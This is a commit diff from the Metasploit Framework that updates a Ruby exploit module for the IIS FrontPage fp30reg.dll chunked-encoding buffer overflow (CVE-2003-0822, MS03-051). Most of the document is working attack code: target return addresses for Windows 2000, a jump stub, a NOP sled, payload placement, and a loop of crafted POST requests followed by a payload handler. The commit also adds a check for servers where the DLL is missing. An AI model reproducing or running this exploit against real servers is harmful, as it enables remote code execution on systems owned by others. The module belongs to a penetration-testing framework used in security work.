This should fix #39, the exploit will detect when the DLL is not installed

git-svn-id: file:///home/svn/framework3/trunk@4484 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2007-02-27 09:31:54 +00:00
parent 88cc653478
commit 06899ee895
1 changed files with 40 additions and 26 deletions

View File

@ -1,5 +1,5 @@
##
# $Id:$
# $Id$
##
##
@ -39,7 +39,6 @@ class Exploits::Windows::Isapi::IIS_FP30REG_Chunked < Msf::Exploit::Remote
[ 'CVE', ' 2003-0822'],
[ 'MSB', 'MS03-051'],
[ 'MIL', '29'],
],
'Privileged' => false,
'Payload' =>
@ -55,40 +54,48 @@ class Exploits::Windows::Isapi::IIS_FP30REG_Chunked < Msf::Exploit::Remote
['Windows 2000 SP0-SP3', { 'Ret' => 0x6c38a4d0 }], # from mfc42.dll
['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1 }], # from fp30reg.dll 07/22/2002
['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d }], # from fp30reg.dll 10/06/1999
],
'DisclosureDate' => 'Nov 11 2003',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URL', [ true, "The path to fp30reg.dll.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
OptString.new('URL', [ true, "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
], self.class)
end
def exploit
c = connect
print_status("Creating overflow request for fp30reg.dll...")
pat = Rex::Text.rand_text_alphanumeric(0xdead)
pat[128, 4] = [target.ret].pack('V')
pat[264, 4] = [target.ret].pack('V')
# sub eax,0xfffffeff; jmp eax
pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"
pat[280, 512] = make_nops(512)
pat[792, payload.encoded.length] = payload.encoded
1.upto(15) do |i|
0.upto(15) do |i|
if (i % 3 == 0)
print_status("Refreshing the remote DLLHost.exe process...")
send_request_raw({
print_status("Refreshing the remote dllhost.exe process...")
res = send_request_raw({
'uri' => datastore['URL']
}, -1)
if (res and res.body =~ /specified module could not be found/)
print_status("The server states that #{datastore['URL']} does not exist.\n")
return
end
end
print_status("Trying to exploit fp30reg.dll (request #{i.to_s} of 15)")
send_request_raw({
begin
res = send_request_raw({
'uri' => datastore['URL'],
'method' => 'POST',
'headers' =>
@ -98,11 +105,18 @@ class Exploits::Windows::Isapi::IIS_FP30REG_Chunked < Msf::Exploit::Remote
'data' => "DEAD\r\n#{pat}\r\n0\r\n"
}, 5)
sock.put(req)
sleep(1)
if (res and res.body =~ /specified module could not be found/)
print_status("The server states that #{datastore['URL']} does not exist.\n")
return
end
rescue ::Exception => e
p e
p e.class
end
handler
disconnect
sleep(1)
end
end